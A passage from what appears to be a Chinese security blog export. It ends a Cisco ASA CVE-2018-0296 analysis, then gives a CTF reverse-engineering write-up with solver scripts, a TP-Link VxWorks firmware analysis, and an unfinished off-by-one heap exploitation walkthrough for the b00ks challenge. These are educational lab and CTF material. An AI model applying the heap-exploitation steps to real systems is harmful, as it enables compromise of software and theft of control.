拒绝服务漏洞的形成原因是由于32位程序和64位程序中`lua_touserdata()`函数的返回值代表的结构不一致造成。\n+ 在镜像`asav9101.qcow2`中已经修复了该漏洞,其中拒绝服务漏洞的修复方式是去掉了触发了该漏洞的请求`url`接口。\n\n### 相关链接\n\n+ [Cisco Adaptive Security Appliance Web Services Denial of Service Vulnerability](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd)\n+ [Error description CVE-2018-0296 - bypassing authentication in the Cisco ASA web interface](https://sekurak.pl/opis-bledu-cve-2018-0296-ominiecie-uwierzytelnienia-w-webinterfejsie-cisco-asa/)\n+ [Cisco Adaptive Security Appliance - Path Traversal](https://www.exploit-db.com/exploits/44956)\n+ [Test CVE-2018-0296 and extract usernames](https://github.com/milo2012/CVE-2018-0296)\n+ [Lua和C++交互详细总结](http://www.cnblogs.com/sevenyuan/p/4511808.html)\n+ [网络设备漏洞分析技术研究](https://www.freebuf.com/articles/system/114741.html)\n+ [Cisco ASA series part one: Intro to the Cisco ASA](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/cisco-asa-series-part-one-intro-to-the-cisco-asa/)\n\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/171916](https://www.anquanke.com/post/id/171916)\n\n","tags":["Cisco"],"categories":["漏洞"]},{"title":"ctf-201809 re writeup","url":"/2018/10/28/ctf-201809-re-writeup/","content":"\n### re1\n\n使用`file`命令查看文件类型,如下:\n\n```shell\n$ file re1.exe\nre1.exe: PE32 executable (console) Intel 80386, for MS Windows\n```\n\n运行该程序,提示输入flag,随机输入内容后程序退出。\n\n利用IDA Pro加载程序进行分析,`main()`函数的主要逻辑如下:读取输入的flag(长度为22),然后对flag内容进行一系列判断,如`strcmp()`、`check()`以及调用`v10`、`v11`和`v12`指向的函数等。\n\n<!-- more -->\n\n<img src=\"images/re1_main.png\" style=\"zoom:90%\">\n\n对上述函数的进行简单分析后,感觉可以直接利用`angr`框架编写脚本进行求解,如下。其中,通过对`scanf()`函数进行hook,然后直接在对应的内存地址空间写入符号值,当然也可以采用其他方式。运行后即可得到flag。\n\n```python\n#!/usr/bin/env python3\n\nimport angr\nfrom angr.procedures.stubs.format_parser import FormatParser\n\nclass MyScanf(FormatParser):\n def run(self,fmt):\n addr = self.state.solver.eval(self.arg(1))\n print(\"input flag addr: %#x\" % addr)\n self.state.memory.store(addr, self.state.solver.BVV(b'f',8), endness=self.state.arch.memory_endness)\n self.state.memory.store(addr+1, self.state.solver.BVV(b'l',8), endness=self.state.arch.memory_endness)\n self.state.memory.store(addr+2, self.state.solver.BVV(b'a',8), endness=self.state.arch.memory_endness)\n self.state.memory.store(addr+3, self.state.solver.BVV(b'g',8), endness=self.state.arch.memory_endness)\n self.state.memory.store(addr+4, self.state.solver.BVV(b'{',8), endness=self.state.arch.memory_endness)\n self.state.memory.store(addr+21, self.state.solver.BVV(b'}',8), endness=self.state.arch.memory_endness)\n for i in range(5,20):\n self.state.memory.store(addr+i, self.state.solver.BVS('a%d' % i, 8), endness=self.state.arch.memory_endness)\n\nproject= angr.Project('./re1.exe', load_options={'auto_load_libs':False})\n\nstart_address = 0x401684\nfind_address = 0x4017a3\navoid_address = (0x40171b, 0x401749, 0x4017c2)\n\nproject.hook_symbol('scanf', MyScanf())\nstate=project.factory.blank_state(addr=start_address, add_options={angr.options.LAZY_SOLVES})\nsimgr = project.factory.simulation_manager(state)\nsimgr.explore(find=find_address, avoid=avoid_address)\n\nif simgr.found:\n find_state = simgr.found[0]\n\n sp_value = find_state.solver.eval(find_state.regs._sp)\n input_addr = sp_value + 0x11\n print(\"input flag addr: %#x\" % input_addr)\n\n for i in range(5,20):\n value = find_state.memory.load(input_addr+i, 1)\n find_state.add_constraints(value>=48, value <=127)\n\n flag = [find_state.solver.eval(find_state.memory.load(input_addr+i, 1)) for i in range(22)]\n print(''.join(map(chr, flag)))\n```\n\n> 对于输入内容的约束,既可以在写入符号值时添加,也可以在最后求解时添加。如果在写入符号值时添加约束,当符号表达式过于复杂时,可能会造成约束求解器超时,需要调整`solver`的超时时间。这里采取后面一种方式,同时添加了`angr.options.LAZY_SOLVES`选项。\n\n### re2\n\n#### 题目分析\n\n使用file命令查看文件类型,如下。运行程序,提示\"Segmentation fault (core dumped)\"。\n\n```shell\n$ file re2\nre2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c8c5efd9f0afc405b126a0621ce63a9daccad23b, stripped\n```\n\n使用IDA Pro加载程序进行分析,main()函数的主要处理流程如下:\n\n+ 读取flag文件的内容,并保存在`byte_602ca0`和`byte_6010a0`中\n+ 对`byte_6010a0`中的内容进行排序(从小到大),同时记录下标的变化\n <img src=\"images/re2_main_1.png\">\n+ 根据`byte_602ca0`和下标数组`dword_6012a0`对`byte_601aa0`进行初始化\n <img src=\"images/re2_main_2.png\">\n+ 统计`byte_6010a0`中每个`item`出现的次数,并将结果保存于`dword_601ca0`中(保存形式为`(item,count)`)\n+ 对`byte_601aa0`进行同样的操作,将结果保存于`dword_601ca0`中\n <img src=\"images/re2_main_3.png\">\n+ 将`dword_601ca0`的内容写入flag_enc文件\n\n#### 解题思路\n\n现在是要根据flag_enc文件的内容求出原始flag文件的内容。根据main()函数的处理逻辑,由flag_enc文件可以得到排序后的数组`byte_6010a0`、`byte_601aa0`,那么如何得到排序前的数组`byte_6010a0`呢?\n\n下面用一个简单的例子来说明整个过程,如下。\n\n<img src=\"images/re2_simple_example.png\">\n\n##### 思路1\n\n以上面的例子为例,排序的过程相当于是对矩阵$A$和$B$分别进行了变换,即存在一个初等矩阵$Y$,使得\n$$\nAY=A^{'} \\\\\nBY=B^{'}\n$$\n因此可以通过爆破的方式,对初等矩阵$Y$进行枚举,然后计算$A=A^{'}Y^{-1}$, 然后根据$C=A(B^{'})$进行校验即可。在本题中,初等矩阵$Y$的维数为466,爆破的复杂度为$466!$,复杂度太高。。。\n\n##### 思路2\n\n同样,以上面的例子为例,由$C=A(B^{'})$可知,$C$中的元素和$A^{'}$中的元素存在一定的对应关系,即$A^{'}$中的元素在原始$A$中的前一个元素就是$C$中相同下标处的元素,如$A^{'}[8]$=‘g’,其在$A$中的前一个元素为‘f’,正好对应$C[8]$。因此根据$C$和$A$,可以得到原始$A$中的一些相邻两个元素的序列片段,如下。\n\n<img src=\"images/re2_item_sequence.png\" style=\"zoom:75%\">\n\n因此,只需要将所有的序列判断“串”起来,就可以得到原始的$A$了。那么如何“串”起来呢?\n\n由于$A^{'}$是经过排序的,所以在所有的序列片段中,以相同字母结尾的序列片段是存在一定的先后顺序关系的。以‘be’ 和‘ge’为例,在一个正确的序列中,必须先出现序列片段‘be’,再出现序列片段‘ge’。“串”序列的示例如下。\n\n<img src=\"images/re2_possible_sequence.png\" style=\"zoom:75%\">\n\n其中,在序列1中,只包含4个序列片段,得到了原始$A$的一部分内容。需要说明是,在序列片段‘fg’之后,之所以没有继续“串”序列片段‘ge’,是因为已有的序列中并没有出现序列片段‘be’,根据序列片段的先后关系,所以不能“串”序列片段‘ge’。在序列2中,包含了全部的9个序列片段,得到原始的$A$。\n\n因此,根据该思路,可以采用深度搜索算法来枚举可能的序列,找到一个能够包含所有的片段的序列即可。\n\n```python\n#!/usr/bin/env python\n\nfrom collections import defaultdict\nimport copy\n\nwith open('./flag_enc', 'rb') as f:\n dword_601ca0 = f.read()\n\nbyte_6010a0_sorted = []\nbyte_601aa0 = []\n\nindex = 0\nwhile index < len(dword_601ca0):\n value = dword_601ca0[index:index+4]\n count = dword_601ca0[index+4:index+8]\n if value[0] != '\\xff':\n byte_6010a0_sorted.extend([value[0]] * ord(count[0]))\n index += 8\n else:\n break\n\nindex += 4\nwhile index < len(dword_601ca0):\n value = dword_601ca0[index:index+4]\n count = dword_601ca0[index+4:index+8]\n byte_601aa0.extend([value[0]] * ord(count[0]))\n index += 8\n\n# the last item in byte_601aa0 is omitted in original code\nbyte_601aa0.append('_')\n\nchar_dict = defaultdict(list)\nfor index in xrange(len(byte_6010a0_sorted)):\n char_dict[byte_6010a0_sorted[index]].append(byte_601aa0[index])\n\ndef dfs(nextc, key_index, total_char, flags):\n key_index = copy.deepcopy(key_index)\n if total_char == len(byte_6010a0_sorted):\n print flags\n return True\n\n for key in key_index:\n if key_index[key] == len(char_dict[key]):\n continue\n\n # use key_index[key] to keep the order of sequence\n if char_dict[key][key_index[key]] == nextc:\n key_index[key] += 1\n if dfs(key, key_index, total_char+1, flags+key):\n return True\n key_index[key] -= 1\n \n return False\n\nkey_index = {}\nfor item in char_dict:\n key_index[item] = 0\n\nfor key in key_index:\n dfs(key, key_index, 0, '')\n```\n\n### 附件下载\n\n[题目及相关脚本](samples.zip)\n\n","tags":["逆向"],"categories":["CTF"]},{"title":"TP-Link wr886nv6 固件解析","url":"/2018/09/19/TP-Link-wr886v6-固件解析/","content":"\n\n### 前言\n\n最近看了@小黑猪的一篇关于<span style=\"text-decoration:line-through;\" title=\"[DEPRECATED]http://galaxylab.org/0x00-tp-link-wr886nv7-v1-1-0-%E8%B7%AF%E7%94%B1%E5%99%A8%E5%88%86%E6%9E%90-%E5%9B%BA%E4%BB%B6%E5%88%9D%E6%AD%A5%E5%88%86%E6%9E%90/\">TP-Link wr886nv7固件初步分析</span>的文章,由于之前很少分析基于VxWorks系统的固件,所以按照文章的思路动手重现了一下整个过程。\n\n### 使用`binwalk` 初步分析\n\n从TP-Link官网下载`wr886`的固件,由于没有找到v7版本的固件,所以下载的是v6版本的固件。对下载的压缩包进行解压,然后使用`binwalk`对文件`wr886nv6.bin`进行分析,如下。\n\n<!-- more -->\n\n```shell\n$ binwalk wr886nv6.bin \n\nDECIMAL HEXADECIMAL DESCRIPTION\n--------------------------------------------------------------------------------\n12656 0x3170 U-Boot version string, \"U-Boot 1.1.4 (May 8 2016 - 07:42:47)\"\n12704 0x31A0 CRC32 polynomial table, big endian\n13932 0x366C uImage header, header size: 64 bytes, header CRC: 0x773178DD, created: 2016-05-08 14:42:48, image size: 20788 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x983BDABA, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: \"u-boot image\"\n13996 0x36AC LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 52148 bytes\n41472 0xA200 LZMA compressed data, properties: 0x6E, dictionary size: 8388608 bytes, uncompressed size: 2365008 bytes\n791104 0xC1240 LZMA compressed data, properties: 0x5A, dictionary size: 8388608 bytes, uncompressed size: 1731 bytes\n792301 0xC16ED LZMA compressed data, properties: 0x5A, dictionary size: 8388608 bytes, uncompressed size: 7272 bytes\n793897 0xC1D29 LZMA compressed data, properties: 0x5A, dictionary size: 8388608 bytes, uncompressed size: 200 bytes\n794124 0xC1E0C LZMA compressed data, properties: 0x5A, dictionary size: 8388608 bytes, uncompressed size: 247 bytes\n794391 0xC1F17 LZMA compressed data, properties: 0x5A, dictionary size: 8388608 bytes, uncompressed size: 313 bytes\n794600 0xC1FE8 LZMA compressed data, properties: 0x5A, dictionary size: 8388608 bytes, uncompressed size: 12213 bytes\n796301 0xC268D LZMA compressed data, properties: 0x5A, dictionary size: 8388608 bytes, uncompressed size: 493 bytes\n... # some data omitted \n1270120 0x136168 LZMA compressed data, properties: 0x5A, dictionary size: 8388608 bytes, uncompressed size: 3965 bytes\n```\n\n从上述结果可知,除了开始部分的\"U-Boot version string\"、\"CRC32\"和\"uImage header\"之外,其余部分均为采用`lzma`进行压缩后的数据。其中,注意到偏移`0xa200`处的数据大小为2M多,猜测其可能包含一些有用的数据,提取该部分并使用lzma命令进行解压缩。\n\n```shell\n# 使用dd命令进行提取\n$dd if=wr886nv6.bin of=a200.lzma bs=1 skip=41472 count=749632 # 749643=791104-41472\n\n# 使用lzma命令进行解压\n$ lzma -d a200.lzma \nlzma: a200.lzma: Compressed data is corrupt\n```\n\n在进行解压时提示\"Compressed data is corrupt\"。使用`hexdump`打开wr886nv6.bin,定位到0xc1240处,如下所示。发现0xc120更像是处于lzma压缩数据的中间,而不像是lzma压缩数据的结尾。\n\n```shell\n$ hexdump -s 0xc1100 -n 512 -C wr886nv6.b\n000c1100 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|\n*\n000c1200 4d 49 4e 49 46 53 00 00 00 00 00 00 00 00 00 00 |MINIFS..........|\n000c1210 00 00 00 02 00 00 00 86 00 01 f4 00 00 07 55 7c |..............U||\n000c1220 92 1c 64 4e ae 88 d9 d2 2d b4 48 ce 5c eb 69 51 |..dN....-.H.\\.iQ|\n000c1230 00 00 04 8d 00 00 00 20 00 00 06 c3 00 00 00 00 |....... ........|\n000c1240 5a 00 00 80 00 c3 06 00 00 00 00 00 00 00 16 e9 |Z...............|\n000c1250 0c 89 39 ad 0e c6 50 fb 60 3c ae 25 25 14 4e 75 |..9...P.`<.%%.Nu|\n000c1260 25 2b ba d7 8c 1c 83 9e 9c d8 85 63 21 54 28 e1 |%+.........c!T(.|\n000c1270 37 82 ac 9b 67 de 30 9f 31 9d a1 cc f8 9f 48 35 |7...g.0.1.....H5|\n000c1280 95 d1 36 f2 6a 08 8c 7c 3f 20 25 b2 8c d0 62 4e |..6.j..|? %...bN|\n000c1290 e6 3e 8d 3b 41 f4 ff b5 5c 7f e0 73 6c f4 a0 03 |.>.;A...\\..sl...|\n```\n\n从偏移0xc1240处往上寻找偏移0xa200处压缩数据的结尾,发现可能是在0xc04b1处,如下。\n\n```shell\n$ hexdump -s 0xc04a0 -n 512 -C wr886nv6.bin \n000c04a0 03 0b ba 40 fb 20 27 05 c2 c4 64 d9 fe 98 78 de |...@. '...d...x.|\n000c04b0 be 68 ff ff ff ff ff ff ff ff ff ff ff ff ff ff |.h..............|\n000c04c0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|\n*\n000c06a0\n```\n\n对`dd`命令中的`count`参数进行修改后,即可成功提取并解压。\n\n```shell\n$dd if=wr886nv6.bin of=a200.lzma bs=1 skip=41472 count=746162 # 746162=0xc04b1-0xa200+1\n```\n\n> 说明:也可以运行命令`binwalk -e wr886nv6.bin`,解压目录中的A200文件与通过上述方法得到的一致。\n\n再次利用`binwalk`对得到的a200文件进行分析,如下。猜测这个文件很有可能就是路由器所运行的系统文件,版本为5.5.1。\n\n```shell\n$ binwalk a200 \n\nDECIMAL HEXADECIMAL DESCRIPTION\n--------------------------------------------------------------------------------\n1846404 0x1C2C84 Certificate in DER format (x509 v3), header length: 4, sequence length: 4\n1853692 0x1C48FC Certificate in DER format (x509 v3), header length: 4, sequence length: 4\n1898688 0x1CF8C0 VxWorks operating system version \"5.5.1\" , compiled: \"Sep 20 2017, 09:16:35\"\n1967556 0x1E05C4 Copyright string: \"Copyright(C) 2001-2011 by TP-LINK TECHNOLOGIES CO., LTD.\"\n1997244 0x1E79BC VxWorks WIND kernel version \"2.6\"\n2042360 0x1F29F8 HTML document header\n2042425 0x1F2A39 HTML document footer\n2062192 0x1F7770 PEM certificate\n2062248 0x1F77A8 PEM RSA private key\n2071532 0x1F9BEC Base64 standard index table\n2106544 0x2024B0 CRC32 polynomial table, big endian\n2107568 0x2028B0 CRC32 polynomial table, big endian\n2108592 0x202CB0 CRC32 polynomial table, big endian\n2109616 0x2030B0 CRC32 polynomial table, big endian\n2130316 0x20818C XML document, version: \"1.0\"\n2149736 0x20CD68 SHA256 hash constants, big endian\n2247821 0x224C8D StuffIt Deluxe Segment (data): f\n2247852 0x224CAC StuffIt Deluxe Segment (data): fError\n2247933 0x224CFD StuffIt Deluxe Segment (data): f\n```\n\n### 使用IDA Pro分析\n\n由于IDA Pro无法识别该文件,提示为\"Binary file\",因此需要确定CPU的架构及加载基址。在\"uImage header\"部分已经有一些信息,如下,可以看到CPU架构为`MIPS`。\n\n```shell\n$ binwalk wr886nv6.bin \n\nDECIMAL HEXADECIMAL DESCRIPTION\n--------------------------------------------------------------------------------\n12656 0x3170 U-Boot version string, \"U-Boot 1.1.4 (May 8 2016 - 07:42:47)\"\n12704 0x31A0 CRC32 polynomial table, big endian\n13932 0x366C uImage header, header size: 64 bytes, header CRC: 0x773178DD, created: 2016-05-08 14:42:48, image size: 20788 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x983BDABA, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: \"u-boot image\"\n```\n\n> 在uImage header中有一个Entry Point地址0x80010000,这个地址可能是uBoot程序的加载基址,而不是a200文件的加载基址。采用该地址作为加载基址,虽然也能识别出2000多个函数,但在后续导入符号表时会对不上。\n\n也可以使用`binwalk`命令来查看CPU的架构,如下。可以看到,CPU架构为`MIPS`,同时为大端格式。\n\n```shell\n$ binwalk -Y a200 \n\nDECIMAL HEXADECIMAL DESCRIPTION\n--------------------------------------------------------------------------------\n0 0x0 MIPS executable code, 32/64-bit, big endian, at least 1013 valid instructions\n```\n\n在对偏移0xa200之前的一些数据进行分析时,可以看到一个疑似uImage header的数据段,其中有两处地址指向了0x80001000,这个地址也和`devttys0`[博客](http://www.devttys0.com/2011/07/reverse-engineering-vxworks-firmware-wrt54gv8/)中提到的加载基址相同,因此尝试使用该地址作为文件的加载地址。\n\n<img src=\"images/ida_pro_process_type.png\">\n\n<img src=\"images/ida_pro_load_address.png\">\n\n在选择MIPS大端处理器以及设置加载基址后,IDA Pro的初步分析结果如下,可以看到共识别出6149个函数。\n\n<img src=\"images/ida_pro_initial_analysis.png\">\n\n在对该文件进行分析时,发现IDA Pro中的`Imports`和`Exports`都是空的,可能是没有导入符号表的缘故。\n\n### 符号表导入\n\n使用`binwalk`直接提取该固件,在提取后的目录中搜索包含VxWorks中的某个关键函数如`bzero`的文件,如下。\n\n```shell\n$ grep -r bzero .\nBinary file ./C2E3A matches\n```\n\n通过查看该文件,发现其中包含大量的VxWorks关键函数名,猜测可能是独立的符号表。在进行简单分析后,发现该文件存在比较明显的特征,如下。\n\n<img src=\"images/symbol_file_analysis.png\">\n\n根据这个符号文件的特征,编写idapython脚本来对文件的符号进行修复,如下。\n\n```python\nimport idautils\nimport idc\nimport idaapi\n\nsymfile_path = './C2E3A' \nsymbols_table_start = 8\nstrings_table_start = 0x9d00\n\nwith open(symfile_path, 'rb') as f:\n symfile_contents = f.read()\n\nsymbols_table = symfile_contents[symbols_table_start:strings_table_start]\nstrings_table = symfile_contents[strings_table_start:]\n\ndef get_string_by_offset(offset):\n index = 0\n while True:\n if strings_table[offset+index] != '\\x00':\n index += 1\n else:\n break\n return strings_table[offset:offset+index]\n\n\ndef get_symbols_metadata():\n symbols = []\n for offset in xrange(0, len(symbols_table),8):\n symbol_item = symbols_table[offset:offset+8]\n flag = symbol_item[0]\n string_offset = int(symbol_item[1:4].encode('hex'), 16)\n string_name = get_string_by_offset(string_offset)\n target_address = int(symbol_item[-4:].encode('hex'), 16)\n symbols.append((flag, string_name, target_address))\n return symbols\n\n\ndef add_symbols(symbols_meta_data):\n for flag, string_name, target_address in symbols_meta_data:\n idc.MakeName(target_address, string_name)\n if flag == '\\x54':\n idc.MakeCode(target_address)\n idc.MakeFunction(target_address)\n\n\nif __name__ == \"__main__\":\n symbols_metadata = get_symbols_metadata()\n add_symbols(symbols_metadata)\n```\n\n修复完成后IDA Pro中的函数列表如下所示。\n\n<img src=\"images/ida_pro_functions.png\">\n\n导入符号之后,再对该文件进行分析就更方便了。\n\n> 说明:直接使用`binwalk`提取固件,在解压得到的文件中,绝大部分都是文本文件,包括脚本、图片等,只有3个文件为二进制文件,其中36AC为uBoot文件,A200为系统运行文件,C2E3A为符号文件。\n\n### 相关链接\n\n+ <span style=\"text-decoration:line-through;\" title=\"[DEPRECATED]http://galaxylab.org/0x00-tp-link-wr886nv7-v1-1-0-%E8%B7%AF%E7%94%B1%E5%99%A8%E5%88%86%E6%9E%90-%E5%9B%BA%E4%BB%B6%E5%88%9D%E6%AD%A5%E5%88%86%E6%9E%90/\">TP-Link wr886nv7固件初步分析</span>\n+ [Reverse Engineering VxWorks Firmware: WRT54Gv8](http://www.devttys0.com/2011/07/reverse-engineering-vxworks-firmware-wrt54gv8/)\n\n### 附件下载\n\n[固件文件及脚本](samples.zip)","tags":["固件"],"categories":["IoT"]},{"title":"asis-ctf-2016 pwn 之 b00ks","url":"/2018/06/05/asis-ctf-2016-pwn-b00ks/","content":"\n### off-by-one 原理\n\n严格来说,off-by-one漏洞是一种特殊的溢出漏洞,指程序向缓冲区中写入时,写入的字节数超过了缓冲区本身的大小,并且只越界了一个字节。这种漏洞的产生往往与边界验证不严或字符串操作有关,当然也有可能写入的size正好就只多了一个字节:\n\n+ 使用循环语句向缓冲区中写入数据时,循环的次数设置错误导致多写入一个字节\n+ 字符串操作不合适,比如忽略了字符串末尾的`\\x00`\n\n<!-- more -->\n\n一般而言,单字节溢出很难利用。但因为Linux中的堆管理机制ptmalloc验证的松散型,基于Linux堆的off-by-one漏洞利用起来并不复杂,而且威力强大。需要说明的是,`off-by-one`是可以基于各种缓冲区的,如栈、bss段等。但堆上的`off-by-one`在CTF中比较常见,下面以2016年asis CTF中的b00ks为实例进行分析。\n\n### 题目分析\n\n题目是一个常见的菜单式程序,功能是一个图书管理系统,提供了创建、删除、编辑、打印图书等功能:\n\n```\nWelcome to ASISCTF book library\nEnter author name: \n\n1. Create a book\n2. Delete a book\n3. Edit a book\n4. Print book detail\n5. Change current author name\n6. Exit\n>\n```\n\n题目是一个64位程序,其启用的保护措施如下:\n\n```shell\n$ file ./b00ks \n./b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped\n\ngdb-peda$ checksec \nCANARY : disabled\nFORTIFY : disabled\nNX : ENABLED\nPIE : ENABLED\nRELRO : FULL\n```\n\n在创建book时,name和description在堆上分配。首先使用malloc分配name buffer,大小不超过32;之后,分配description buffer, 大小自定义;最后分配book结构体,用于保存book的信息。\n\n```c\n// allocate name\nprintf(\"\\nEnter book name size: \", *(_QWORD *)&v1);\n__isoc99_scanf(\"%d\", &v1);\nif ( v1 >= 0 )\n{\n printf(\"Enter book name (Max 32 chars): \", *(_QWORD *)&v1);\n ptr = malloc(v1);\nif ( ptr )\n{\n if ( read_input(ptr, (unsigned int)(v1 - 1)) )\n // ...\n\n// allocate description\nprintf(\"\\nEnter book description size: \", *(_QWORD *)&v1);\n__isoc99_scanf(\"%d\", &v1);\nif ( v1 >= 0 )\n{\n v5 = malloc(v1);\n if ( v5 )\n {\n printf(\"Enter book description: \", *(_QWORD *)&v1);\n if ( read_input(v5, (unsigned int)(v1 - 1)) )\n // ...\n \n// allocate book struct\nv3 = malloc(0x20uLL);\nif ( v3 )\n{\n *((_DWORD *)v3 + 6) = v1;\n *((_QWORD *)global_book_struct_array + v2) = v3;\n *((_QWORD *)v3 + 2) = v5;\n *((_QWORD *)v3 + 1) = ptr;\n *(_DWORD *)v3 = ++book_counts;\n return 0LL;\n}\n```\n\n其中,通过分析,book struct的定义如下:\n\n```c\nstruct book_struct{\n int book_id; // offset:0\n char* book_name; // offset:8 malloc(size)\n char* book_description; // offset:16 malloc(size)\n int book_description_size; // offset:24\n}\n```\n\n### 漏洞分析\n\n程序中用于读取输入的read_input()函数(函数名字已重命名)存在off-by-one漏洞,当输入数据的长度正好为a2时,会向buf中越界写入一个字节`\\x00`。\n\n```c\nsigned __int64 __fastcall read_input(void *a1, int a2)\n{\n // ...\n if ( a2 > 0 )\n {\n buf = a1;\n for ( i = 0; ; ++i )\n {\n if ( (unsigned int)read(0, buf, 1uLL) != 1 )\n return 1LL;\n if ( *(_BYTE *)buf == 10 )\n break;\n buf = (char *)buf + 1;\n if ( i == a2 )\n break;\n }\n *(_BYTE *)buf = 0;\n result = 0LL;\n }\n // ...\n}\n```\n\n#### 信息泄露漏洞\n\n由于`author_name_ptr`和`global_book_struct_array`之间正好相差32个字节,当输入的author_name长度为32时,会向`author_name_ptr`中越界写入一个字节`\\x00`。之后,在创建book_struct时,会将其地址保存在`global_book_struct_array`中,覆盖之前的字符串截断符`\\x00`。因此,通过打印author_name可以实现信息信泄露。\n\n```\n.data:0000000000202008 ; .data:off_202008\u0019o\n.data:0000000000202010 global_book_struct_array dq offset unk_202060\n.data:0000000000202010 ; DATA XREF: sub_B24:loc_B38\u0018o\n.data:0000000000202010 ; delete_book:loc_C1B\u0018o ...\n.data:0000000000202018 author_name_ptr dq offset unk_202040 ; DATA XREF: input_author_name+15\u0018o\n.data:0000000000202018 ; print_book+CA\u0018o\n```\n\n#### off-by-one漏洞\n\n通过修改author_name可以向`author_name_ptr`中越界写入一个字节`\\x00`,这样会覆盖`global_book_struct_array`中保存的第一个book_struct的地址。\n\n### 漏洞利用\n\n主要思想如下:创建2个book,通过单字节溢出,使得`book1_struct`指针指向`book1_description`中;然后在`book1_description`中伪造一个`book1_struct`,使得其中的`book1_description_ptr`指向`book2_description_ptr`;通过先后修改`book1_description`和`book2_description`,从而实现任意地址写任意内容的功能。\n\n> 为了方便调试,临时禁用了系统的地址随机化功能:`echo 0 > /proc/sys/kernel/randomize_va_space`\n\n#### 创建book\n\nbook1的description的大小要尽量大一点(如140),保证当单字节溢出后book1_struct指针落在book1的description中,从而对其可控,为后续伪造book1_struct打下基础。book2的description的大小越大越好(如0x21000),这样会通过mmap()函数去分配堆空间,而该堆地址与libc的基址相关,这样通过泄露该堆地址可以计算出libc的基址。\n\n```shell\ngdb-peda$ x/10xg 0x555555554000+0x202040\n0x555555756040:\t0x6161616161616161 (<== author_name)\t0x6161616161616161 \n0x555555756050:\t0x6161616161616161\t0x6161616161616161\n0x555555756060:\t0x0000555555758160 (<== book1_struct_ptr)\t0x0000555555758190 (<== book2_struct_ptr)\ngdb-peda$ x/60xg 0x0000555555758010\n0x555555758010:\t0x0000000000000000\t0x00000000000000a1 (<== heap: book1_name)\n0x555555758020:\t0x0000315f6b6f6f62\t0x0000000000000000\n... ...\n0x5555557580b0:\t0x0000000000000000\t0x00000000000000a1 (<== heap: book1_description)\n0x5555557580c0:\t0x6f62207473726966\t0x7461657263206b6f\n... ...\n0x555555758100:\t0x0000000000000000\t0x0000000000000000\n... ...\n0x555555758150:\t0x0000000000000000\t0x0000000000000031 (<== heap: book1_struct)\n0x555555758160:\t0x0000000000000001\t0x0000555555758020\n0x555555758170:\t0x00005555557580c0\t0x000000000000008c\n0x555555758180:\t0x0000000000000000\t0x0000000000000031 (<== heap: book2_struct)\n0x555555758190:\t0x0000000000000002\t0x00007ffff7fd2010\n0x5555557581a0:\t0x00007ffff7fb0010\t0x0000000000021000\n0x5555557581b0:\t0x0000000000000000\t0x0000000000020e51\n```\n\n从`global_book_strcut_array(0x555555756060)`中可以看到,当发生null byte溢出时,`book1_struct`的指针变为`0x555555758100`,正好落在book1_description的范围内。\n\n#### 伪造book1_struct\n\n为了使得伪造的`book1_description_ptr`指向`book2_description_ptr`,需要先知道book2_struct的地址,可以通过打印author_name从而泄露得到该地址。\n\n之后通过修改`book1_description`,伪造一个`book1_struct`。可以看到`book1_description_ptr`已经指向了`book2_name_ptr`。(通过+8就能指向`book2_description_ptr`)\n\n```shell\ngdb-peda$ x/60xg 0x0000555555758010\n0x5555557580b0:\t0x0000000000000000\t0x00000000000000a1\n... ...\n0x5555557580f0:\t0x6161616161616161\t0x6161616161616161\n0x555555758100:\t0x0000000000000001\t0x0000555555758198\n0x555555758110:\t0x0000555555758198 (<== 指向book2的name_ptr)\t0x000000000000ffff\n... ...\n0x555555758150:\t0x0000000000000000\t0x0000000000000031\n0x555555758160:\t0x0000000000000001\t0x0000555555758020\n0x555555758170:\t0x00005555557580c0\t0x000000000000008c\n0x555555758180:\t0x0000000000000000\t0x0000000000000031\n0x555555758190:\t0x0000000000000002\t0x00007ffff7fd2010\n0x5555557581a0:\t0x00007ffff7fb0010\t0x0000000000021000\n0x5555557581b0:\t0x0000000000000000\t0x0000000000020e51\n```\n\n#### 空字节覆盖\n\n修改author_name,覆盖`global_book_struct_array`中保存的第一个`book_struct` 指针。之后通过打印book可以泄露得到`book2_name_ptr`, 从而得到该地址与libc基址之间的偏移。\n\n```shell\ngdb-peda$ vmmap \nStart End Perm\tName\n0x0000555555554000 0x0000555555556000 r-xp\t/.../b00ks\n... ...\n0x0000555555757000 0x0000555555779000 rw-p\t[heap]\n0x00007ffff7a0d000 (<== 计算与该地址的偏移) 0x00007ffff7bcd000 r-xp\t/.../libc.so.6\n0x00007ffff7bcd000 0x00007ffff7dcd000 ---p\t/.../libc.so.6\n0x00007ffff7dcd000 0x00007ffff7dd1000 r--p\t/.../libc.so.6\n0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p\t/.../libc.so.6\n0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p\tmapped\n0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp\t/lib/x86_64-linux-gnu/ld-2.23.so\n0x00007ffff7fb0000 0x00007ffff7ff7000 rw-p\tmapped\n```\n\n#### 获取shell\n\n通过先后修改`book1_description`和`book2_description`,可以实现任意地址写任意内容的功能。由于该程序启用了`FULL 